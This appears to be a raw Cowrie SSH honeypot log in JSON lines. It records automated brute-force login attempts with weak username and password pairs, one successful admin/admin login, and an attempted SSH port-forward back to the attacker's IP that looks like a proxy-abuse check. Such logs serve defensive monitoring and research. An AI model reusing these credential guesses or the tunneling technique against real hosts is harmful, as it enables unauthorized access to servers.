{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":58476,"dst_ip":"10.17.0.5","dst_port":22,"session":"48fb300766b4","protocol":"ssh","message":"New connection: 103.228.69.212:58476 (10.17.0.5:22) [session: 48fb300766b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:30:44.650219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:30:44.655418Z","src_ip":"103.228.69.212","session":"48fb300766b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:30:44.886665Z","src_ip":"103.228.69.212","session":"48fb300766b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployer@123","message":"login attempt [deployer/deployer@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:30:45.838001Z","src_ip":"103.228.69.212","session":"48fb300766b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:30:47.072936Z","src_ip":"103.228.69.212","session":"48fb300766b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.254.212.59","src_port":59740,"dst_ip":"10.17.0.5","dst_port":22,"session":"938157e91f13","protocol":"ssh","message":"New connection: 211.254.212.59:59740 (10.17.0.5:22) [session: 938157e91f13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:31:28.836797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:31:28.841890Z","src_ip":"211.254.212.59","session":"938157e91f13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:31:29.046665Z","src_ip":"211.254.212.59","session":"938157e91f13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployer@123","message":"login attempt [deployer/deployer@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:31:29.897838Z","src_ip":"211.254.212.59","session":"938157e91f13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:31:31.105626Z","src_ip":"211.254.212.59","session":"938157e91f13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":47132,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba92dcd351e0","protocol":"ssh","message":"New connection: 103.228.69.212:47132 (10.17.0.5:22) [session: ba92dcd351e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:31:43.611842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:31:43.616518Z","src_ip":"103.228.69.212","session":"ba92dcd351e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:31:43.848761Z","src_ip":"103.228.69.212","session":"ba92dcd351e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"P@SSWORD123","message":"login attempt [test/P@SSWORD123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:31:44.805028Z","src_ip":"103.228.69.212","session":"ba92dcd351e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:31:46.040785Z","src_ip":"103.228.69.212","session":"ba92dcd351e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.254.212.59","src_port":48352,"dst_ip":"10.17.0.5","dst_port":22,"session":"597199311386","protocol":"ssh","message":"New connection: 211.254.212.59:48352 (10.17.0.5:22) [session: 597199311386]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:32:26.278496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:32:26.283508Z","src_ip":"211.254.212.59","session":"597199311386","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:32:26.488488Z","src_ip":"211.254.212.59","session":"597199311386","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tf2server","password":"tf2","message":"login attempt [tf2server/tf2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:32:27.322644Z","src_ip":"211.254.212.59","session":"597199311386","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:32:28.527299Z","src_ip":"211.254.212.59","session":"597199311386","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":35784,"dst_ip":"10.17.0.5","dst_port":22,"session":"522842d746e1","protocol":"ssh","message":"New connection: 103.228.69.212:35784 (10.17.0.5:22) [session: 522842d746e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:32:42.707447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:32:42.713401Z","src_ip":"103.228.69.212","session":"522842d746e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:32:42.946458Z","src_ip":"103.228.69.212","session":"522842d746e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"qwerty","message":"login attempt [deploy/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:32:43.898088Z","src_ip":"103.228.69.212","session":"522842d746e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:32:45.134308Z","src_ip":"103.228.69.212","session":"522842d746e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":51428,"dst_ip":"10.17.0.5","dst_port":22,"session":"56f5a7fac455","protocol":"ssh","message":"New connection: 80.94.92.186:51428 (10.17.0.5:22) [session: 56f5a7fac455]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:32:45.240085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:32:45.424633Z","src_ip":"80.94.92.186","session":"56f5a7fac455","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:32:45.428597Z","src_ip":"80.94.92.186","session":"56f5a7fac455","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345678","message":"login attempt [ubuntu/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:32:47.618377Z","src_ip":"80.94.92.186","session":"56f5a7fac455","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:32:49.345047Z","src_ip":"80.94.92.186","session":"56f5a7fac455","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.254.212.59","src_port":36960,"dst_ip":"10.17.0.5","dst_port":22,"session":"65145aa8f840","protocol":"ssh","message":"New connection: 211.254.212.59:36960 (10.17.0.5:22) [session: 65145aa8f840]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:33:21.827279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:33:21.832487Z","src_ip":"211.254.212.59","session":"65145aa8f840","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:33:22.034598Z","src_ip":"211.254.212.59","session":"65145aa8f840","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user2024","message":"login attempt [user/user2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:33:22.873490Z","src_ip":"211.254.212.59","session":"65145aa8f840","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:33:24.078564Z","src_ip":"211.254.212.59","session":"65145aa8f840","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.40","src_port":39628,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5c8d55c144a","protocol":"ssh","message":"New connection: 31.57.216.40:39628 (159.203.135.109:22) [session: d5c8d55c144a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:33:25.052013Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:33:25.057778Z","src_ip":"31.57.216.40","session":"d5c8d55c144a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.40","src_port":39636,"dst_ip":"159.203.135.109","dst_port":22,"session":"620328152008","protocol":"ssh","message":"New connection: 31.57.216.40:39636 (159.203.135.109:22) [session: 620328152008]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:33:25.226515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:33:25.231350Z","src_ip":"31.57.216.40","session":"620328152008","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:33:25.338330Z","src_ip":"31.57.216.40","session":"620328152008","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:33:25.548030Z","src_ip":"31.57.216.40","session":"620328152008","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"31.57.216.40","dst_port":80,"src_ip":"31.57.216.40","src_port":5555,"message":"direct-tcp connection request to 31.57.216.40:80 from 127.0.0.1:5555","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:33:25.656971Z","session":"620328152008","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"31.57.216.40","dst_port":80,"data":"b'kH32wvv47TiJeldoEyVBqGx0T9zzbCvB4zbyIkTlUURCZUwlXX'","id":0,"message":"discarded direct-tcp forward request 0 to 31.57.216.40:80 with data b'kH32wvv47TiJeldoEyVBqGx0T9zzbCvB4zbyIkTlUURCZUwlXX'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:33:25.761837Z","src_ip":"31.57.216.40","session":"620328152008","protocol":"ssh"}
